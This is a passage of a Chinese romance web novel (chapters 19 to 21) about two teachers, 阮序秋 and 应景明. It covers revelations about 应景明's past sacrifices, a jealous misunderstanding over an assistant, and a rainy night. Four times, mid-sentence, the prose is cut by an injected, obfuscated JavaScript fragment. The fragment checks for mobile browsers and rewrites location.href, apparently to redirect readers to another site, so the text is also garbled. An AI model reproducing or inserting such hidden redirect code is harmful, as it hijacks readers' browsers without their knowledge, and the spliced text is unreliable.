阮序秋不悦抬手,止住谈智青的后话,“打住,小谈,我觉得你管太多了,这些是我和她之间的私事,你对她的感激让人动容,但是真的没必要说给我听。” 阮序秋自认这话已经说得足够不近人情,可看面前的谈智青,注视着她,目光仍旧认真冷静,没有丝毫动摇或者难堪的迹象。 阮序秋无语,不知道这个人究竟哪来底气跟她说这些,话音落下,见她还要再说,忙不迭开口道: “另外,我们是正经恋爱,她对我好,我对她难道就不 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17004783|194027||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 好?我也知道她确实有过几年没回家,但那是因为她家里不同意我们在一起,今年她不就回家了。什么一无所有,有点夸大其词了吧。” “应老师是这么跟你说的?” 她竟然这么反问,尾音还意味不明地上扬。 阮序秋没来由一愣,“……什么?” 也许她已经意识到了什么,看着谈智青胜券在握的表情,一股不好的预感在阮序秋心里徐徐升腾。 她一点也不想知道应景明为她付出了什么,她们所谓甜蜜过去更是听都不想听。谈智青既然辅修心理学,难道连这都看不出来? 阮序秋满腔不快,甚至想要逃跑,可谈智青目光微凝,将她定在原地。 “应妈妈的行事作风你应该多少有听说过吧。据我所知,那几年应妈妈是真的打算放弃她了。” 阮序秋眉头皱得紧紧的。 谈智青似看出她的不服气,唇角弯起一个浅笑,“阮老师可能觉得没有母亲会抛弃自己的孩子,不过她家的情况比较特殊。” “多的我不方便告知,只能说应妈妈曾经将她视作耻辱。” “当然,我这么说你可能没有切实的感受。我记得阮老师研二生日那年曾收到一枚戒指对吧,那是她通宵打工累到住院换来的。她当年明明拿到了IC的offer却没能去留学,也是因为家里彻底断了她的经济来源。” “那时的她已经窘迫到连住院费都只能问我表姐借的地步了。” “你能想象她那样的人拉着我表姐的袖子哀求么?说不能让你知道这些,就怕你知道之后会愧疚。” 这些话说得平静,没有丝毫波澜,却久久回荡在阮序秋的脑海里,萦绕不散。 阮序秋快步跑下楼,初秋的风带着暑气,拂过耳侧,让她心里更为烦躁。 穿过走廊,转过拐角,一切好似没个尽头。 她剧烈喘息着,疾速跳动的心跳将她的思绪再次拉回到谈智青的面前。 “我不知道你为什么突然跟我说这些,如果你喜欢她,可以追求,我没意见。”她记得最后,她这样反驳谈智青那番莫名其妙的话语。 谈智青又是怎么回复? 她微微一笑,“阮老师,你会错意了,我不喜欢应老师,也没有想要追求她。正好相反,就目前的情况来说,我甚至希望你们能够好好在一起,这于我而言反而比较有利。” “我听说你们最近正在闹分手,鉴于这些,我觉得你还是跟她说清楚比较好。” “鉴于这些,我觉得你还是跟她说清楚比较好。” “我觉得你还是跟她说清楚比较好。” 阮序秋从一开始就知道应景明曾为自己和家里断绝关系,七年后的第一天,侄女告诉她的,她却一点也不为此感到惊讶,甚至觉得理所当然,因为就算放在七年前,她也觉得应景明肯定做得出来这种事。 她就是这种人,拥有为所欲为的资本。 很长一段时间里,她都觉得应景明就是世界的主角,她光芒万丈,一切对她来说唾手可得,而自己,只是旁观着她的路人甲。 可她从未设想过,原来主角也有可能失去一切,仅仅只为了和自己这个区区的路人甲在一起。 阮序秋五味杂陈。 她想到应景明熟稔地坐在小餐馆里点餐;想到那个浮夸的早晨,她曾玩笑说好久没有享受大小姐的待遇;面对那套老破小,面对街边小吃,她甚至比自己还要轻车熟路。 明明一切有迹可循,可她竟然如此后知后觉。 手机忽然发出振动。 阮序秋惊觉回神。是应景明的电话。 接通后,那边传来应景明不满的声音,“阮老师应该不是掉进厕所里了吧。” 说是不满,可尾音又不受控制地飘着,分明又是开心愉快的。 “马上就来了。” 挂断电话,阮序秋脚步蓦然有些发沉。 她忽然有点不敢去面对电话那头,笑得如此开心的应景明了。 烦人,太烦人了,为什么非要让她知道这些。 19. 第十九章 “我脸上有脏东西么?”应景明一声问话突然响起。 学校新开的餐馆,坐在对面的应景明掏出手机奇怪地左右照了照,“美丽依旧啊,你干嘛用一脸遗憾的表情看我?” 阮序秋猛然回神,一怔,忙低头继续吃饭,“我才没有用遗憾的表情看你……” “明明就有。说实话吧阮老师,你的女朋友美丽又多金,一定很自豪吧。” 应景明托着下巴,笑得浓艳而得意。 她已经吃完了,但阮序秋还没有。已经过去半小时,阮序秋的餐盘里满满当当,饭一点没见少。 “不知道你在说什么屁话。”阮序秋瞥她一眼,啃着排骨有一搭没一搭地咀嚼,“你可以先回去,不用等我。” “那怎么行,阮老师,我们小情侣就是得出双入对。” 嬉皮笑脸,没个正经,看着就让人来气。 阮序秋想发作,可谈智青那番话犹然在耳: “你能想象她那样的人拉着我表姐的袖子哀求么?说不能让你知道这些,就怕你知道之后会愧疚。” 阮序秋一下蔫巴了,低头,再低头,从未体会过的亏欠感像藤蔓一样缠绕上来,让她胸口发闷。 她讨厌这种感觉,好像欠着应景明一样。 席间一时无话。 良久,阮序秋才小心翼翼抬眼去看对面。 应景明在看手机,察觉她的注视,启唇道:“我做的排骨可比店里做的好吃多了。” 这话里带着委屈。 阮序秋知道她说的是上周五晚上那次。言下之意是:她做得更好吃,可自己却没吃。 阮序秋愣了愣:“那不是你点的外卖么?” 应景明撂下手机作出泫然欲泣的样子,“太侮辱人了,你竟然怀疑我的厨艺。” “真的是你亲手做的?可你不是、”阮序秋下意识想说你个千金大小姐哪来那么好的手艺,转念又想到,这八成也是因为那七年。 她们生活窘迫,而为了更好的生活,应景明只能自己下厨。 阮序秋噎住,话在喉头滚了几滚,艰难地重新挤出来,“那……那下回你再做一次,我会好好品鉴的……” 应景明立马问:“下回是什么时候?” “额,下回就是、” “就明天怎么样?” 不等阮序秋回应,她兴高采烈地继续说:“这样,明天周五下班,咱们一起去买菜吧。好!就这么决定了!” 好个得寸进尺。 换作平时,阮序秋早该顶回去了。可这次,她感觉喉咙被什么堵住了。她盯着应景明神采飞扬的侧脸,那句滚到嘴边的拒绝在舌尖转了几圈,最终变成了一声几不可闻的:“……随你。” 说完便立刻扭开头,假装去看窗外的树,仿佛刚才那句妥协不是自己说的。 “这么好说话?”应景明意外地看了她一会儿,“阮老师,你该不会吃错药了吧。” 阮序秋眉头抖了抖,“明天我没空,这么说你满意了?” “没错没错,这样才对嘛~” 她又装模作样地磨了阮序秋一会儿,阮序秋则装模作样地勉强答应。终于得了准话,整个下午,应景明都在念叨这件事,说哪里哪里的菜便宜,哪里哪里的肉便宜,明天下班咱们先去哪儿,再去哪儿,对了对了,某某超市的海鲜最新鲜了,一定要买份回来才行! 兴奋状态下的应景明活像只开屏的孔雀。阮序秋没有逐条回复,她看着一条接一条弹现的微信消息,许久才发过去一句:「好好工作。」 好像一切都没变,然而这天晚上,她却失眠了。 *** 翌日早上,阮序秋先一步去了学校,没等应景明。 不光如此,午饭也没和她一起吃,而是假借工作的名义蜗在办公室。 她需要认真考虑,面对应景明的真心实意,自己是否真的应该心安理得在她最开心的时候放她鸽子。 其实仔细想想,去一趟她家也没什么大不了的,她们毕竟是交往了七年的恋人,就算现在的自己一点也不喜欢她,但…… 当作给过去的自己一个交代也是好的。 或者实在不想去的话,好歹跟她谈谈,这样才像一个二十八岁的成熟大人。 “下班了,阮老师,一起走么?” 陈燕的声音打断了阮序秋的思绪。 “下回吧,我找应老师有点事。” 那边陈燕又朝她投来意味深长的视线,“我说你们真没必要这么避嫌,反正大家都知道你们之间的事。” 阮序秋尴尬地笑笑,没有回应。 她心神不宁地收拾着办公桌面,忽然手上动作一顿,注意到对面谈智青所在的四号位已经空了。 才刚下班,用得着那么着急么? 阮序秋疑惑了一瞬,转念又松了口气。 经过那番对话,阮序秋确实有点不知该怎么面对她这所谓的助教。 虽然明白她说得不无道理,但一想到她知道那么多内情,可能不光和应景明家里认识,说不定她就是应景明那个联姻对象,阮序秋就浑身不自在。 现在她成什么了,辜负主角的渣女么? 阮序秋一个头两个大。算了,等下周再说好了。 收拾好东西,阮序秋挎上包向对面应景明所在的办公室走去。 腹稿才打好,却从应景明同事口中得知:“她刚才急匆匆地走了,没跟你一起么?” “没有……” “那就奇怪了。” 不奇怪,真心实意是过去,她们现在毕竟只是假情侣,她需要自己的生活,自己也是。理解。 压下那股异样的情绪,阮序秋一面向电梯走去,一面给应景明发去消息。 「关于明天去你家的事情,我们需要商量一下。」< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17004784|194027||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 「伴手礼之类的,你妈喜欢些什么?」 「还有,我需要怎么穿着,你们家是哪种规格的家宴?」 消息才发完,阮序秋又忐忑起来。 即便她和应景明是假的,这怎么说也是她第一次见恋人的家长,怎么应付,她完全没有这方面的经验。 从谈智青的叙述来看,应景明妈妈似乎是强势的商界女强人,且非常不喜欢自己这个女儿的女朋友。 阮序秋恍然望天,脑海中不由自主浮现狗血偶像剧中,女主被男主妈妈刁难的画面。 “三百万!离开我儿子!”或者泼她一脸水。 阮序秋浑身打了个寒颤。 她抬起手机想要将消息撤回,旋即又收住动作。 差不多半分钟了,那边竟然还没回复她的消息。 应景明消息基本都是秒回的,今天这是怎么回事? 阮序秋犹豫片刻,不放心地打去电话。 嘟声响了数下那边才接通,应景明不知慌张些什么,喂了一声,匆匆忙忙问她有什么事。 “我才要问你有什么事,不是你说今晚要下厨,让我下班后跟你一起去买菜的么?” “嗯……有点事,明天再给你下厨好了。” “明天给我下厨,那你妈妈那边怎么办?” “啊对,不好意思,忘了。” 阮序秋皱眉,“应景明,你究竟怎么回事?” “那个……”这个一向游刃有余的人竟然犹豫了,片刻才坦言,“不好意思,序秋,我得临时回家一趟。” “是这样……” 没想到又绕回到这个话题…… 电梯门正好打开,阮序秋望了望楼层数,走出去。 她在思考应该怎么跟应景明说明天的事,以及自己内心的不安。 还是说闭上嘴,假装自己一点也不在乎? “还有事么?” “嗯……” 沿着电梯一路走出教学楼,阮序秋犹豫启唇。 声音未发,转瞬,唇又闭上。 外头是阴沉沉的天。 晴了大半个月,这天早上忽然就阴了下来。天气预报说要下雨,才五点半,此时外头已经是乌云满天。 阮序秋站在教学楼门口,那辆熟悉的银白轿车正好从停车场的方向驶向校门口。 透过沉郁的暮色,副驾驶座上,谈智青的侧脸一闪而过。 阮序秋愣在原地,有一瞬间,她怀疑是不是自己眼花看错了。 谈智青……在应景明的车上? 应景明说要回家一趟,所以她们这是要一起回家么? 她机械地想着这两个问题。电话那头,应景明的声音还在不断传来: “喂?序秋?还在么?” 耳畔的声音和视线中小小的车窗中的人影对应,那个影子用肩膀夹着手机,看上去很是着急。 20. 第二十章 阮序秋心中闪过片刻的荒唐,不理解为什么即便是这种时候,她也还是能那么自然地叫自己序秋。 还是说其实她曾无数次…… 不对,不对不对,可能是自己会错意了,可能……可能她们只是顺路。 一起回家而已,这并不能说明什么。就算能够说明什么,应景明也说了是临时,可能她只是忘记和自己提及谈智青,不是真的想要隐瞒自己什么。 她没必要对自己隐瞒。 “喂,序秋?” 望着那辆银白轿车以及副驾驶座谈智青远去的身影,阮序秋很快冷静下来。 她微微凝眉,沉声道:“嗯,还在。” “怎么这个声调?是不是发生了什么事?我现在就回去。” 应景明担心地追问。讽刺的是,她语气里的担忧比平日更甚,没有取笑,没有吊儿郎当,反而熟稔而亲昵,好像她们仍旧是恩爱多年的情侣。 “不用,我很好,只是想问你一件事。” “什么?” “我,或者,”她顿了顿,“你认识谈助教么?” 听筒里传来一阵刺耳的缄默。 片刻才传来应景明略带犹豫的声音,“我不是很熟,你的话……应该跟我差不多吧。” 阮序秋呼吸微沉。 “干嘛突然问这个?” “没什么,只是担心碰到以前的熟人,却被我忘了。你也知道我记性不好。” “行,不认识就好,只是想确认一下,挂了。” 说完,不等应景明回应,阮序秋就快速挂断电话。 那辆车已经驶出校园进入车流,只能看见一个缓慢移动的白色色块。 *** 一切都有了答案。 为什么应景明会匆匆离开,为什么电话里语焉不详,以及,为什么谈智青下班如此之急。 她们在一起,并且还要一起回家,还莫名其妙地瞒着自己。 一股被愚弄的火焰“噌”地烧遍了全身。就在几分钟前,她竟然还在为放鸽子而感到一丝愧疚? 当然,这一点也不奇怪,就像她说的,她和应景明现在只是合约关系,应景明不需要像恋人那样跟自己坦诚相待。她所需要做到的就只有不违背合约而已。 她一把抓起包,几乎是冲回了家。微信里那两条来自应景明的消息,此刻读来就像胜利者的嘲讽。 「临时有点家事要处理。」 是和谈智青的家事吧! 「我妈妈那边你不用操心。」 是因为有了更合适的人选,所以不需要她这个冒牌货了吧! 她下意识朝应景明的房间瞪了一眼,气得赫赫直喘。尽管那里空无一人。 她看周围,看自己,想到什么,突然快速冲去阳台。 为了明天的家宴,她将那些她本不喜欢的漂亮衣服都拿出来洗了。她觉得可能自己还是需要装扮一下,至少不能丢了应景明的面子,现在看来,这个念头也是极其可笑的。 她将衣服抱作一团,一整摞直接硬塞进衣柜里。 侄女正好这时回来,外面传来开门声和脚步声,紧接着一个声音问:“姑姑,景明姐呢?你们没有一起回来?” “她死了!” 才回罢,衣柜里的小山堆就轰然倒塌,几件衣服稀稀拉拉滚到阮序秋的脚边。 太多了,硬塞塞不进去。 原本整洁的衣柜瞬间变得乱七八糟,阮序秋更为烦躁,可她当下又实在没有心情整理。 房门被打开,侄女出现在门口。 她探进来半个身子,张口欲言,然看看她,又看看她脚边的衣服堆,奇怪地问:“你们又吵架了?” 阮序秋踢了两脚衣服,强行将衣柜门关上,“没有。” 明玉见状,一张笑脸蹭进来,“哎哟姑姑,景明姐都说今晚要给我们大显身手了,看在美食的份上,你就别生她的气了嘛。” 小姑娘显而易见地兴奋了起来,说着,搭着阮序秋的双肩往外面推,“走!我们一起去买菜吧,还有还有!明天的伴手礼也需要准备对吧,我帮姑姑一起挑!” 说到这件事阮序秋就来气,她定住脚步怒喝一声:“不行!” 她干嘛要因为应景明几句不痛不痒的欺骗在这里生闷气!这完全没有道理! “什么不行?” “明玉,咱们下馆子去吧!” “啊?这么突然?” “一点也不突然!” “不用等景明姐回来么?” “鬼才等她!” 阮序秋抓起包,拉着不明就里的侄女一头扎进沉沉暮色里。 *** 暮气四合,淮海初秋的傍晚华灯初上。 缓慢挪动的车流中,应景明正死皱着眉头,指尖不耐烦地点着方向盘。 虽然晚高峰的街道堵得要人命,半个小时开开停停,连高架都还没上去,应景明糟糕的心情却不是因此。 自从坐上这辆车,不,应该说自从今天一睁眼,她的心情就不好。 本来说好晚上要和阮序秋一起去买菜,现在却要在这里堵着车,就为了应付一场令人不快的饭局。 事情还要说到今天早上,大概七点多,她亲妹应景月给她打来电话,开口第一句话是: 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17004785|194027||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >“喂姐,你们相处得怎么样?” 那时应景明还没睡醒,看了看来电信息,又问一声:“什么怎么样?” “就那个林阿姨的侄女啊!” “就那样吧。”虽然她们根本没说过几句话,更别说相处了,不过她也猜到了,谈智青就是应景月口中林阿姨的侄女。 她将额前的卷发向后拂去,细致的眉微微蹙起,“应景月,你应该不是在撮合我们吧。” “我、”应景月支吾两声,呵呵干笑起来,“哎哟姐,开什么玩笑,我又不是咱妈,怎么可能干那种事。” “姐,你幸福我才能幸福,我害你不就是在害我自己嘛。” 应景明冷笑,“是啊,真是多亏了你足够笨,不然应女士也不至于被迫低头认回我这个女儿。” “所以我绝对是站在老姐你这边的,我可不想被咱妈压力一辈子,老姐,为了咱们美好的未来,你可一定要相信我啊!” 电话那头应景月说得诚恳,语气夸张得好像恨不得跪下给她磕两个。 这是实话不假,她这个妹妹从小到大懒散惯了,自己读书的时候她在玩,自己考试的时候她还是在玩,玩着玩着成了个废物,大学都不是正经考上去的,而是花钱去国外上的。 非要比喻的话,自己是被迫继承皇位的嫡长女,她则是放养长大的小女儿。不过她的好日子也就到自己离开家为之了。这七年她过得辛苦,为了让她能在未来顺利接管公司,应女士可以说使尽了浑身解数管教她。 可惜啊,罗马不是一天建成,别管基因多好,定性了就是定性了,硬掰也没用。 也是因此,应景明从未怀疑她妹心是向着她的。 结果呢,早上才跟她表过忠心,到傍晚就把那番话抛到九霄云外。 就在一个小时前,应景月又一通电话打进来,让她一会儿下班把林阿姨的侄女带回家,晚上两家人要一起吃饭。 应景明不是不想拒绝,可一想到上周才带着阮序秋去林家医院看病,怕应女士桌上问些什么不该问的,以防万一还是决定回家一趟,不然没办法应付。 没错,带着谈智青一起的那种。 想到这里,应景明看向身边副驾驶座的年轻女性, 谈智青乍一看确实和阮序秋有几分相似,特别表面的一些元素,比如眼镜马尾之类的,但是她们给人的感觉完全不同。阮序秋是把表面尖锐锋利的刀,谈智青则全然与之相反。 她看上去毫无棱角可言。 当然,她对谈智青绝对没有额外的意见,不过鉴于这件事,她还是很不爽。 真不知道应景月那家伙究竟在搞什么鬼。 21. 第二十一章 她们最终走进了那家常去的面馆。热腾腾的蒸汽氤氲在眼前,却化不开阮序秋眉间的结。 明玉小心翼翼地观察着她的脸色,试图活跃气氛:“姑姑,别生气了,景明姐她……” “别提她。”阮序秋生硬地打断,低头用力搅动着碗里的面条。 她夹起一筷子喂进嘴里,记忆中的美味却只剩一股乏味的味道。 她怔了一下,到底咀嚼然后咽下。 渐渐,那股被欺骗、被抛下的怒火,也在寂静的咀嚼中慢慢烧成了灰烬,只剩下一种空洞的疲惫。 她意识到,自己的愤怒与其说是冲着应景明,不如说是冲着自己。气自己为什么又一次心软,并且又一次被应景明给耍了。 明明说好要放她鸽子,结果转头自己却成了那个被放鸽子的人。 窗外传来“啪嗒”一声轻响。 紧接着,雨点毫无征兆地倾盆而下。 “啊!下雨了!”明玉惊呼。 阮序秋望着窗外瞬间模糊的街景。 人一倒霉起来,喝凉水都塞牙缝。 明明说好明天才要下的,这年头就连天气预报都不讲信用。 更倒霉的是她们两姑侄都没带伞,等回到家,两个人都淋成了落汤鸡。 这会儿滴滴答答挤进玄关,拿毛巾擦拭着脸上头上的水渍,狼狈非常。 “不知道哪来的鬼天气。”阮序秋有火没处撒,只能低骂。 侄女在旁边搭着腔,“好像要降温了,后面一阵子会经常下雨,姑姑,明天出门记得带把伞在身上。” “嗯。” 今晚诸事不顺,被雨一淋,阮序秋的心情更差,她有点不知道自己这是在干嘛了,就因为生应景明的气,所以莫名其妙淋了一场雨? 草草擦至不滴水,她看了眼侄女。 侄女阮明玉动作慢条斯理,看着比她沉稳得多。 不应该这样。阮序秋努力将烦躁的感觉压下去,告诉自己:她现在二十八岁,不是二十一岁,不应该这样。 终于平复下来,她对明玉说:“你先去洗澡,姑姑给你拿衣服。” 回到卧室,阮序秋将什么鬼的伴手礼放在床边。 她换上睡衣,然后来到衣柜前给明玉拿衣服。 推开衣柜门,那些原本被她硬塞进去的衣服就轰然滚落下来。 阮序秋低头看着,片刻,叹了口气。 她弯腰将衣服一件一件捡起来,抱到床上重新叠放。 外面那场雨仍在继续,风一吹,雨滴将玻璃敲得噼啪响。 阮序秋叠着衣服,渐渐有些失神。 她没来由回想起坐在应景明车里的谈智青的侧脸,以及应景明在电话里的说话语气。 其实她也明白她们之间不会有什么。就算真的有,自己也不是真的在意。 非要说的话,她只是为过去的自己感到心疼。 看着床上成堆漂亮但是她并不喜欢的衣服,阮序秋猜想,大概即便是自己,在面临身份差距这个问题时,也生出了不该有的自卑。 她试着打扮自己,以便让自己变成世俗意义上漂亮的样子。 但那真的有用么?也不见得。 “……我记得阮老师研二生日那年曾收到一枚戒指对吧,那是她通宵打工累到住院换来的。” 对了,戒指。 阮序秋耳边忽然回响起谈智青说的话。 她环顾着周围,从这头到那头,目光最终落在床头柜上。 她记得那里有个蓝色的盒子。整理东西的时候打开看过,就那么草草一眼。 阮序秋蹲下身,猛地拉开抽屉。里面杂物不多,她却觉得眼花缭乱。手指在其中忙乱地翻找,碰到冰冷的金属、粗糙的纸面……终于,在角落摸到了那块光滑如肌肤的质感。 她像被烫到一样缩回了手。 深吸一口气,阮序秋再次伸手,小心翼翼地,将那蓝色的小盒捧了出来。 蓝色皮质的材质,上面一串英文:Tiffany&Co。 它那么轻,轻得让人心慌。 它的里面又会是一枚什么样的戒指呢? 是求婚戒指,还是说只是普通的情侣对戒? 诸多意味催促着阮序秋将指尖抵在盒盖上,屏住呼吸,用力—— “姑姑!我洗好咯!” 侄女的声音像一把剪刀,猝不及防地剪断了房间里紧绷的弦。 阮序秋浑身一颤,盒子从脱力的手中滑落,“啪”地一声掉回抽屉深处。 她像个小偷一样,慌忙将抽屉推了回去。 “来、来了!” 她挥散脑海里多余的想法,从衣服堆里捡两件崭新的衣服赶往厕所。 *** 阮序秋煮了些姜糖水,和侄女各自捧着一杯,站在沙发边漫不经心喝着。 “今晚就别回学校了。” “嗯?” “外面还在下雨。”她吹着杯口的热气,眼也不抬,“你跟我睡。” “这个啊……” 果不其然,她这个侄女又开始支吾了,捧着纸杯吞吞吐吐好半天,憋出一句:“还是……不了吧,姑姑,我觉浅,一起我会睡不着的。” 阮序秋瞥了侄女一眼,她也不是不知道侄女在想些什么,但那股熟悉的、为自己辩白的冲动涌到嘴边,又被她咽了回去,化作一声颓然的叹息。 “行吧,那等雨小一点再回去。” 阮明玉没有等雨小,阮序秋洗完澡从厕所里出来,客厅就已经空了,只留下手机里一条未读信息: 「我先回学校了,姑姑,别和景明姐生气,你们好好聊聊(#笑)」 阮序秋回复了一个「好」。 屋子里彻底安静下来,只剩下窗外的雨声。 寂静放大了她心里的空洞。她下意识点开微信,手指不受控制地点进了应景明的聊天框。没有新消息。 大概忙得没空看手机了吧。 收起手机,阮序秋擦着头发晃晃悠悠回到房间。 坐在床上,原本狭小的卧室在这一刻忽然间变得尤其空旷。 她茫然看着窗户上流淌的雨水。 其实今天什么也没发生。 她本来就不想去应景明家里,本来就不喜欢应景明,所以什么也没有改变。 想到这,阮序秋提起床边那盒红色的伴手礼。伴手礼是吃饭前从路过的店里买的。明玉缠着她说来都来了,她也不好拒绝,说其实自己根本没打算去应景明家,只好答应下来。后来下雨,这盒东西还成了为她们挡雨的主要功臣。 此时看着上面燕窝的宣传图,阮序秋不知抽什么风,果断把盒子拆了,从中掏出一份小包装的燕窝,拧开就喝。 没喝完,手机又响起来。来电人正是应景明。 阮序秋将那个讨人厌的名字盯了一会儿,到底接了起来。 “喂。” “喂,序秋,你今晚有空么?”那边应景明的声音低低的,淡淡的,没有特别的愉快。 她很少用这种语气说话,那种成年人的淡然处之在她身上太罕见了,阮序秋觉得奇怪,“有事?” “没什么大事,你要是有空我一会儿回去接你。” 她没说破,但阮序秋听明白了她的意思,大概见面意外改到今晚了。 她看看手里喝了一半的燕窝,不悦地皱起眉,“没空,我身体不太舒服。”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17004786|194027||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>“哪里不舒服?” “小毛病。别担心,我睡一觉就好。” “那也、” “我真没事,你今晚就别回来了,雨下太大我让明玉睡侧卧了。” 她尽力耐着性子安抚应景明,她今晚想要清净清净,可以的话,她会一觉睡到大天亮,明天又是崭新的一天。 可应景明还是不放心,电话那头传来一个女人的催促声,听着年轻,应该是应景明的妹妹,应景明莫名烦躁起来,低喝一声:“给我闭嘴!” 阮序秋心里咯噔一下,她还没有见过应景明发脾气,更怕在这个大雨的天多生枝节,于是赶紧敷衍几句,让她好好跟家人聚聚,适才挂断电话。 周围静悄悄的,又只剩下她一个人。 风又大了,窗外传来噼里啪啦的雨声和呼呼的风声。 阮序秋走到窗边将窗帘拉上,发现窗户没有关严实,缝隙间的地上洇了一片水痕。 淮海这座城市多雨水,从春夏到秋冬,今年也是如此。 也许明早一醒,窗外那棵白蜡树会更加得黄。 想到这,阮序秋脑海中不期然浮现七年前的那场大雨。 那场雨是什么时候开始下的? 包厢里昼夜不分,她晃晃悠悠走到走廊尽头,才看见厕所门边那扇窗户已经全是水渍。 雨水来得猝不及防,好像下了很久很久。 那时她也发着呆。她刚从应景明那里得知学姐并非单身的消息。大学两年的暗恋在一瞬间结束了,她觉得这场雨就是她心上的雨,下得实在太应景。 回到包厢,始作俑者应景明正好从里面出来。 她的身后是学姐靠坐着高脚凳的身影,璀璨灯光下,学姐握着话筒和原先部门另一位学姐合唱一首抒情歌。 阮序秋瞪着应景明,应景明却笑了。 “你今天很漂亮。”她没来由这么说。 阮序秋心里更为不快,想逃开,但是然后呢? 然后应景明拉着她的手将她带到舞池跳了一场舞。 “我第一次知道你可以这么漂亮。”她说,“开心点,你的这场初恋也很漂亮,没什么大不了的,好么?” 阮序秋望着天花板。 那是阮序秋第一次跳舞,跃动、晃动,整个世界都在天旋地转。 现在想来,那种突如其来的温柔与她对谈智青可能的“照顾”是何其相似。 也许她应景明就是那种人。 她就是那种对谁都好的中央空调,她的好意也不是真的,而只是举手之劳,顺便而已。 这个念头让阮序秋心里泛起莫名的烦躁。 她躺在床上闭上眼,翻身,再翻身,却怎么也睡不着。 不知道是不是她的错觉,窗外的雨声似乎更大了,噼里啪啦的碎响撞击着她的耳膜,让人心神不宁。 不知过去多久,好不容易平复下来唤起睡意,敲门声又在这时突兀地响起。 阮序秋试图无视,可那阵敲门声忽然停下,紧接着一双脚步声进入客厅,快速来到她的卧室门口。 又是敲门声。 忍不可忍,阮序秋一股脑掀开被子下床。 “大半夜的,你能不能、” 猛然打开门,话音却顿住。 门外站着的人毫不意外正是应景明,只是外面下着雨,她浑身也湿透了,对上视线,手骤然停在半空。 周围空气凝滞了片刻,只剩水珠还默默沿着头发往下淌。 这场冷雨将她的肌肤都冻得有些苍白。 “序秋,你还好么?”她忽然问,没头没脑的三个字,抓住她的手臂着急地上下打量。 说完,注视着她,眼里满是担忧。